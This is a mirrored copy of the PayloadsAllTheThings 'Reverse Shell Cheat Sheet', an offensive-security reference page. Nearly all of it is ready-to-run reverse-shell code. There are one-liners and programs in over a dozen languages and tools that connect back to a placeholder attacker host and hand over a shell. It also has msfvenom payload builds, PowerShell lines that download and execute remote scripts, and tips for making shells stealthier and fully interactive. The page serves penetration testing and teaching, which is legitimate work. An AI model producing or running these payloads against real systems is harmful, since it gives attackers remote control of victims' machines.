mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-18 18:36:10 +00:00
621 lines
24 KiB
Markdown
621 lines
24 KiB
Markdown
# Reverse Shell Cheat Sheet
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## Summary
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* [Tools](#tools)
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* [Reverse Shell](#reverse-shell)
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* [Awk](#awk)
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* [Automatic Reverse Shell Generator](#revshells)
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* [Bash TCP](#bash-tcp)
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* [Bash UDP](#bash-udp)
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* [C](#c)
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* [Dart](#dart)
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* [Golang](#golang)
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* [Groovy Alternative 1](#groovy-alternative-1)
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* [Groovy](#groovy)
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* [Java Alternative 1](#java-alternative-1)
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* [Java Alternative 2](#java-alternative-2)
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* [Java](#java)
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* [Lua](#lua)
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* [Ncat](#ncat)
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* [Netcat OpenBsd](#netcat-openbsd)
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* [Netcat BusyBox](#netcat-busybox)
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* [Netcat Traditional](#netcat-traditional)
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* [NodeJS](#nodejs)
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* [OpenSSL](#openssl)
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* [Perl](#perl)
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* [PHP](#php)
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* [Powershell](#powershell)
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* [Python](#python)
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* [Ruby](#ruby)
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* [Rust](#rust)
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* [Socat](#socat)
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* [Telnet](#telnet)
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* [War](#war)
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* [Meterpreter Shell](#meterpreter-shell)
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* [Windows Staged reverse TCP](#windows-staged-reverse-tcp)
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* [Windows Stageless reverse TCP](#windows-stageless-reverse-tcp)
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* [Linux Staged reverse TCP](#linux-staged-reverse-tcp)
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* [Linux Stageless reverse TCP](#linux-stageless-reverse-tcp)
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* [Other platforms](#other-platforms)
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* [Spawn TTY Shell](#spawn-tty-shell)
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* [References](#references)
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## Tools
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- [reverse-shell-generator](https://www.revshells.com/) - Hosted Reverse Shell generator ([source](https://github.com/0dayCTF/reverse-shell-generator)) 
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- [revshellgen](https://github.com/t0thkr1s/revshellgen) - CLI Reverse Shell generator
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## Reverse Shell
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### Bash TCP
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```bash
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bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
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0<&196;exec 196<>/dev/tcp/10.0.0.1/4242; sh <&196 >&196 2>&196
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/bin/bash -l > /dev/tcp/10.0.0.1/4242 0<&1 2>&1
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```
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### Bash UDP
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```bash
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Victim:
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sh -i >& /dev/udp/10.0.0.1/4242 0>&1
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Listener:
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nc -u -lvp 4242
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```
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Don't forget to check with others shell : sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, bash
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### Socat
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```powershell
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user@attack$ socat file:`tty`,raw,echo=0 TCP-L:4242
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user@victim$ /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.0.1:4242
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```
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```powershell
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user@victim$ wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.0.1:4242
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```
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Static socat binary can be found at [https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat)
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### Perl
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```perl
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perl -e 'use Socket;$i="10.0.0.1";$p=4242;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
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perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.0.0.1:4242");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
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NOTE: Windows only
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perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"10.0.0.1:4242");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
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```
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### Python
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Linux only
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IPv4
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```python
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export RHOST="10.0.0.1";export RPORT=4242;python -c 'import socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
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```
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```python
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python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
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```
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```python
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python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
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```
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```python
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python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'
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```
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IPv4 (No Spaces)
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```python
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python -c 'socket=__import__("socket");os=__import__("os");pty=__import__("pty");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
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```
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```python
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python -c 'socket=__import__("socket");subprocess=__import__("subprocess");os=__import__("os");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
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```
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```python
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python -c 'socket=__import__("socket");subprocess=__import__("subprocess");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'
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```
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IPv4 (No Spaces, Shortened)
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```python
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python -c 'a=__import__;s=a("socket");o=a("os").dup2;p=a("pty").spawn;c=s.socket(s.AF_INET,s.SOCK_STREAM);c.connect(("10.0.0.1",4242));f=c.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")'
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```
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```python
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python -c 'a=__import__;b=a("socket");p=a("subprocess").call;o=a("os").dup2;s=b.socket(b.AF_INET,b.SOCK_STREAM);s.connect(("10.0.0.1",4242));f=s.fileno;o(f(),0);o(f(),1);o(f(),2);p(["/bin/sh","-i"])'
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```
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```python
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python -c 'a=__import__;b=a("socket");c=a("subprocess").call;s=b.socket(b.AF_INET,b.SOCK_STREAM);s.connect(("10.0.0.1",4242));f=s.fileno;c(["/bin/sh","-i"],stdin=f(),stdout=f(),stderr=f())'
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```
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IPv4 (No Spaces, Shortened Further)
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```python
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python -c 'a=__import__;s=a("socket").socket;o=a("os").dup2;p=a("pty").spawn;c=s();c.connect(("10.0.0.1",4242));f=c.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")'
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```
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```python
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python -c 'a=__import__;b=a("socket").socket;p=a("subprocess").call;o=a("os").dup2;s=b();s.connect(("10.0.0.1",4242));f=s.fileno;o(f(),0);o(f(),1);o(f(),2);p(["/bin/sh","-i"])'
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```
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```python
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python -c 'a=__import__;b=a("socket").socket;c=a("subprocess").call;s=b();s.connect(("10.0.0.1",4242));f=s.fileno;c(["/bin/sh","-i"],stdin=f(),stdout=f(),stderr=f())'
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```
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IPv6
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```python
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python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4242,0,2));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
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```
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IPv6 (No Spaces)
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```python
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python -c 'socket=__import__("socket");os=__import__("os");pty=__import__("pty");s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4242,0,2));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
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```
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IPv6 (No Spaces, Shortened)
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```python
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python -c 'a=__import__;c=a("socket");o=a("os").dup2;p=a("pty").spawn;s=c.socket(c.AF_INET6,c.SOCK_STREAM);s.connect(("dead:beef:2::125c",4242,0,2));f=s.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")'
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```
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Windows only (Python2)
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```powershell
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python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.0.0.1', 4242)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"
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```
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Windows only (Python3)
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```powershell
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python.exe -c "import socket,os,threading,subprocess as sp;p=sp.Popen(['cmd.exe'],stdin=sp.PIPE,stdout=sp.PIPE,stderr=sp.STDOUT);s=socket.socket();s.connect(('10.0.0.1',4242));threading.Thread(target=exec,args=(\"while(True):o=os.read(p.stdout.fileno(),1024);s.send(o)\",globals()),daemon=True).start();threading.Thread(target=exec,args=(\"while(True):i=s.recv(1024);os.write(p.stdin.fileno(),i)\",globals())).start()"
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```
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### PHP
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```bash
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php -r '$sock=fsockopen("10.0.0.1",4242);exec("/bin/sh -i <&3 >&3 2>&3");'
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php -r '$sock=fsockopen("10.0.0.1",4242);shell_exec("/bin/sh -i <&3 >&3 2>&3");'
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php -r '$sock=fsockopen("10.0.0.1",4242);`/bin/sh -i <&3 >&3 2>&3`;'
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php -r '$sock=fsockopen("10.0.0.1",4242);system("/bin/sh -i <&3 >&3 2>&3");'
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php -r '$sock=fsockopen("10.0.0.1",4242);passthru("/bin/sh -i <&3 >&3 2>&3");'
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php -r '$sock=fsockopen("10.0.0.1",4242);popen("/bin/sh -i <&3 >&3 2>&3", "r");'
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```
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```bash
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php -r '$sock=fsockopen("10.0.0.1",4242);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'
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```
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### Ruby
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```ruby
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ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",4242).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
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ruby -rsocket -e'exit if fork;c=TCPSocket.new("10.0.0.1","4242");loop{c.gets.chomp!;(exit! if $_=="exit");($_=~/cd (.+)/i?(Dir.chdir($1)):(IO.popen($_,?r){|io|c.print io.read}))rescue c.puts "failed: #{$_}"}'
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NOTE: Windows only
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ruby -rsocket -e 'c=TCPSocket.new("10.0.0.1","4242");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
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```
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### Rust
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```rust
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use std::net::TcpStream;
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use std::os::unix::io::{AsRawFd, FromRawFd};
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use std::process::{Command, Stdio};
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fn main() {
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let s = TcpStream::connect("10.0.0.1:4242").unwrap();
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let fd = s.as_raw_fd();
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Command::new("/bin/sh")
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.arg("-i")
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.stdin(unsafe { Stdio::from_raw_fd(fd) })
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.stdout(unsafe { Stdio::from_raw_fd(fd) })
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.stderr(unsafe { Stdio::from_raw_fd(fd) })
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.spawn()
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.unwrap()
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.wait()
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.unwrap();
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}
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```
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### Golang
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```bash
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echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","10.0.0.1:4242");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
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```
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### Netcat Traditional
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```bash
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nc -e /bin/sh 10.0.0.1 4242
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nc -e /bin/bash 10.0.0.1 4242
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nc -c bash 10.0.0.1 4242
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```
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### Netcat OpenBsd
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```bash
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rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f
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```
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### Netcat BusyBox
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```bash
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rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f
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```
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### Ncat
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```bash
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ncat 10.0.0.1 4242 -e /bin/bash
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ncat --udp 10.0.0.1 4242 -e /bin/bash
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```
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### OpenSSL
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Attacker:
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```powershell
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user@attack$ openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
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user@attack$ openssl s_server -quiet -key key.pem -cert cert.pem -port 4242
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or
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user@attack$ ncat --ssl -vv -l -p 4242
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user@victim$ mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 10.0.0.1:4242 > /tmp/s; rm /tmp/s
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```
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TLS-PSK (does not rely on PKI or self-signed certificates)
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```bash
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# generate 384-bit PSK
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# use the generated string as a value for the two PSK variables from below
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openssl rand -hex 48
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# server (attacker)
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export LHOST="*"; export LPORT="4242"; export PSK="replacewithgeneratedpskfromabove"; openssl s_server -quiet -tls1_2 -cipher PSK-CHACHA20-POLY1305:PSK-AES256-GCM-SHA384:PSK-AES256-CBC-SHA384:PSK-AES128-GCM-SHA256:PSK-AES128-CBC-SHA256 -psk $PSK -nocert -accept $LHOST:$LPORT
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# client (victim)
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export RHOST="10.0.0.1"; export RPORT="4242"; export PSK="replacewithgeneratedpskfromabove"; export PIPE="/tmp/`openssl rand -hex 4`"; mkfifo $PIPE; /bin/sh -i < $PIPE 2>&1 | openssl s_client -quiet -tls1_2 -psk $PSK -connect $RHOST:$RPORT > $PIPE; rm $PIPE
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```
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### Powershell
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```powershell
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powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.0.0.1",4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
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```
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```powershell
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powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1',4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
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```
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```powershell
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powershell IEX (New-Object Net.WebClient).DownloadString('https://gist.githubusercontent.com/staaldraad/204928a6004e89553a8d3db0ce527fd5/raw/fe5f74ecfae7ec0f2d50895ecf9ab9dafe253ad4/mini-reverse.ps1')
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```
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### Awk
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```powershell
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awk 'BEGIN {s = "/inet/tcp/0/10.0.0.1/4242"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
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```
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### Java
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|
|
```java
|
|
Runtime r = Runtime.getRuntime();
|
|
Process p = r.exec("/bin/bash -c 'exec 5<>/dev/tcp/10.0.0.1/4242;cat <&5 | while read line; do $line 2>&5 >&5; done'");
|
|
p.waitFor();
|
|
|
|
```
|
|
|
|
#### Java Alternative 1
|
|
|
|
```java
|
|
String host="127.0.0.1";
|
|
int port=4444;
|
|
String cmd="cmd.exe";
|
|
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
|
|
|
|
```
|
|
|
|
#### Java Alternative 2
|
|
**NOTE**: This is more stealthy
|
|
|
|
```java
|
|
Thread thread = new Thread(){
|
|
public void run(){
|
|
// Reverse shell here
|
|
}
|
|
}
|
|
thread.start();
|
|
```
|
|
|
|
### Telnet
|
|
```bash
|
|
In Attacker machine start two listeners:
|
|
nc -lvp 8080
|
|
nc -lvp 8081
|
|
|
|
In Victime machine run below command:
|
|
telnet <Your_IP> 8080 | /bin/sh | telnet <Your_IP> 8081
|
|
```
|
|
|
|
### War
|
|
|
|
```java
|
|
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f war > reverse.war
|
|
strings reverse.war | grep jsp # in order to get the name of the file
|
|
```
|
|
|
|
|
|
### Lua
|
|
|
|
Linux only
|
|
|
|
```powershell
|
|
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','4242');os.execute('/bin/sh -i <&3 >&3 2>&3');"
|
|
```
|
|
|
|
Windows and Linux
|
|
|
|
```powershell
|
|
lua5.1 -e 'local host, port = "10.0.0.1", 4242 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
|
|
```
|
|
|
|
### NodeJS
|
|
|
|
```javascript
|
|
(function(){
|
|
var net = require("net"),
|
|
cp = require("child_process"),
|
|
sh = cp.spawn("/bin/sh", []);
|
|
var client = new net.Socket();
|
|
client.connect(4242, "10.0.0.1", function(){
|
|
client.pipe(sh.stdin);
|
|
sh.stdout.pipe(client);
|
|
sh.stderr.pipe(client);
|
|
});
|
|
return /a/; // Prevents the Node.js application from crashing
|
|
})();
|
|
|
|
|
|
or
|
|
|
|
require('child_process').exec('nc -e /bin/sh 10.0.0.1 4242')
|
|
|
|
or
|
|
|
|
-var x = global.process.mainModule.require
|
|
-x('child_process').exec('nc 10.0.0.1 4242 -e /bin/bash')
|
|
|
|
or
|
|
|
|
https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py
|
|
```
|
|
|
|
### Groovy
|
|
|
|
by [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76)
|
|
NOTE: Java reverse shell also work for Groovy
|
|
|
|
```java
|
|
String host="10.0.0.1";
|
|
int port=4242;
|
|
String cmd="cmd.exe";
|
|
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
|
|
```
|
|
|
|
#### Groovy Alternative 1
|
|
**NOTE**: This is more stealthy
|
|
|
|
```java
|
|
Thread.start {
|
|
// Reverse shell here
|
|
}
|
|
```
|
|
|
|
### C
|
|
|
|
Compile with `gcc /tmp/shell.c --output csh && csh`
|
|
|
|
```csharp
|
|
#include <stdio.h>
|
|
#include <sys/socket.h>
|
|
#include <sys/types.h>
|
|
#include <stdlib.h>
|
|
#include <unistd.h>
|
|
#include <netinet/in.h>
|
|
#include <arpa/inet.h>
|
|
|
|
int main(void){
|
|
int port = 4242;
|
|
struct sockaddr_in revsockaddr;
|
|
|
|
int sockt = socket(AF_INET, SOCK_STREAM, 0);
|
|
revsockaddr.sin_family = AF_INET;
|
|
revsockaddr.sin_port = htons(port);
|
|
revsockaddr.sin_addr.s_addr = inet_addr("10.0.0.1");
|
|
|
|
connect(sockt, (struct sockaddr *) &revsockaddr,
|
|
sizeof(revsockaddr));
|
|
dup2(sockt, 0);
|
|
dup2(sockt, 1);
|
|
dup2(sockt, 2);
|
|
|
|
char * const argv[] = {"/bin/sh", NULL};
|
|
execve("/bin/sh", argv, NULL);
|
|
|
|
return 0;
|
|
}
|
|
```
|
|
|
|
### Dart
|
|
|
|
```java
|
|
import 'dart:io';
|
|
import 'dart:convert';
|
|
|
|
main() {
|
|
Socket.connect("10.0.0.1", 4242).then((socket) {
|
|
socket.listen((data) {
|
|
Process.start('powershell.exe', []).then((Process process) {
|
|
process.stdin.writeln(new String.fromCharCodes(data).trim());
|
|
process.stdout
|
|
.transform(utf8.decoder)
|
|
.listen((output) { socket.write(output); });
|
|
});
|
|
},
|
|
onDone: () {
|
|
socket.destroy();
|
|
});
|
|
});
|
|
}
|
|
```
|
|
|
|
## Meterpreter Shell
|
|
|
|
### Windows Staged reverse TCP
|
|
|
|
```powershell
|
|
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f exe > reverse.exe
|
|
```
|
|
|
|
### Windows Stageless reverse TCP
|
|
|
|
```powershell
|
|
msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f exe > reverse.exe
|
|
```
|
|
|
|
### Linux Staged reverse TCP
|
|
|
|
```powershell
|
|
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f elf >reverse.elf
|
|
```
|
|
|
|
### Linux Stageless reverse TCP
|
|
|
|
```powershell
|
|
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f elf >reverse.elf
|
|
```
|
|
|
|
### Other platforms
|
|
|
|
```powershell
|
|
$ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f elf > shell.elf
|
|
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f exe > shell.exe
|
|
$ msfvenom -p osx/x86/shell_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f macho > shell.macho
|
|
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f asp > shell.asp
|
|
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f raw > shell.jsp
|
|
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f war > shell.war
|
|
$ msfvenom -p cmd/unix/reverse_python LHOST="10.0.0.1" LPORT=4242 -f raw > shell.py
|
|
$ msfvenom -p cmd/unix/reverse_bash LHOST="10.0.0.1" LPORT=4242 -f raw > shell.sh
|
|
$ msfvenom -p cmd/unix/reverse_perl LHOST="10.0.0.1" LPORT=4242 -f raw > shell.pl
|
|
$ msfvenom -p php/meterpreter_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f raw > shell.php; cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
|
|
```
|
|
|
|
## Spawn TTY Shell
|
|
|
|
In order to catch a shell, you need to listen on the desired port. `rlwrap` will enhance the shell, allowing you to clear the screen with `[CTRL] + [L]`.
|
|
|
|
```powershell
|
|
rlwrap nc 10.0.0.1 4242
|
|
|
|
rlwrap -r -f . nc 10.0.0.1 4242
|
|
-f . will make rlwrap use the current history file as a completion word list.
|
|
-r Put all words seen on in- and output on the completion list.
|
|
```
|
|
|
|
Sometimes, you want to access shortcuts, su, nano and autocomplete in a partially tty shell.
|
|
|
|
:warning: OhMyZSH might break this trick, a simple `sh` is recommended
|
|
|
|
> The main problem here is that zsh doesn't handle the stty command the same way bash or sh does. [...] stty raw -echo; fg[...] If you try to execute this as two separated commands, as soon as the prompt appear for you to execute the fg command, your -echo command already lost its effect
|
|
|
|
```powershell
|
|
ctrl+z
|
|
echo $TERM && tput lines && tput cols
|
|
|
|
# for bash
|
|
stty raw -echo
|
|
fg
|
|
|
|
# for zsh
|
|
stty raw -echo; fg
|
|
|
|
reset
|
|
export SHELL=bash
|
|
export TERM=xterm-256color
|
|
stty rows <num> columns <cols>
|
|
```
|
|
|
|
or use `socat` binary to get a fully tty reverse shell
|
|
|
|
```bash
|
|
socat file:`tty`,raw,echo=0 tcp-listen:12345
|
|
```
|
|
|
|
Alternatively, `rustcat` binary can automatically inject the TTY shell command.
|
|
|
|
The shell will be automatically upgraded and the TTY size will be provided for manual adjustment.
|
|
Not only that, upon exiting the shell, the terminal will be reset and thus usable.
|
|
|
|
```bash
|
|
stty raw -echo; stty size && rcat l -ie "/usr/bin/script -qc /bin/bash /dev/null" 6969 && reset
|
|
```
|
|
|
|
|
|
Spawn a TTY shell from an interpreter
|
|
|
|
```powershell
|
|
/bin/sh -i
|
|
python3 -c 'import pty; pty.spawn("/bin/sh")'
|
|
python3 -c "__import__('pty').spawn('/bin/bash')"
|
|
python3 -c "__import__('subprocess').call(['/bin/bash'])"
|
|
perl -e 'exec "/bin/sh";'
|
|
perl: exec "/bin/sh";
|
|
perl -e 'print `/bin/bash`'
|
|
ruby: exec "/bin/sh"
|
|
lua: os.execute('/bin/sh')
|
|
```
|
|
|
|
- vi: `:!bash`
|
|
- vi: `:set shell=/bin/bash:shell`
|
|
- nmap: `!sh`
|
|
- mysql: `! bash`
|
|
|
|
Alternative TTY method
|
|
|
|
```
|
|
www-data@debian:/dev/shm$ su - user
|
|
su: must be run from a terminal
|
|
|
|
www-data@debian:/dev/shm$ /usr/bin/script -qc /bin/bash /dev/null
|
|
www-data@debian:/dev/shm$ su - user
|
|
Password: P4ssW0rD
|
|
|
|
user@debian:~$
|
|
```
|
|
|
|
## Fully interactive reverse shell on Windows
|
|
The introduction of the Pseudo Console (ConPty) in Windows has improved so much the way Windows handles terminals.
|
|
|
|
**ConPtyShell uses the function [CreatePseudoConsole()](https://docs.microsoft.com/en-us/windows/console/createpseudoconsole). This function is available since Windows 10 / Windows Server 2019 version 1809 (build 10.0.17763).**
|
|
|
|
|
|
Server Side:
|
|
|
|
```
|
|
stty raw -echo; (stty size; cat) | nc -lvnp 3001
|
|
```
|
|
|
|
Client Side:
|
|
|
|
```
|
|
IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell 10.0.0.2 3001
|
|
```
|
|
|
|
Offline version of the ps1 available at --> https://github.com/antonioCoco/ConPtyShell/blob/master/Invoke-ConPtyShell.ps1
|
|
|
|
## References
|
|
|
|
* [Reverse Bash Shell One Liner](https://security.stackexchange.com/questions/166643/reverse-bash-shell-one-liner)
|
|
* [Pentest Monkey - Cheat Sheet Reverse shell](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet)
|
|
* [Spawning a TTY Shell](http://netsec.ws/?p=337)
|
|
* [Obtaining a fully interactive shell](https://forum.hackthebox.eu/discussion/142/obtaining-a-fully-interactive-shell)
|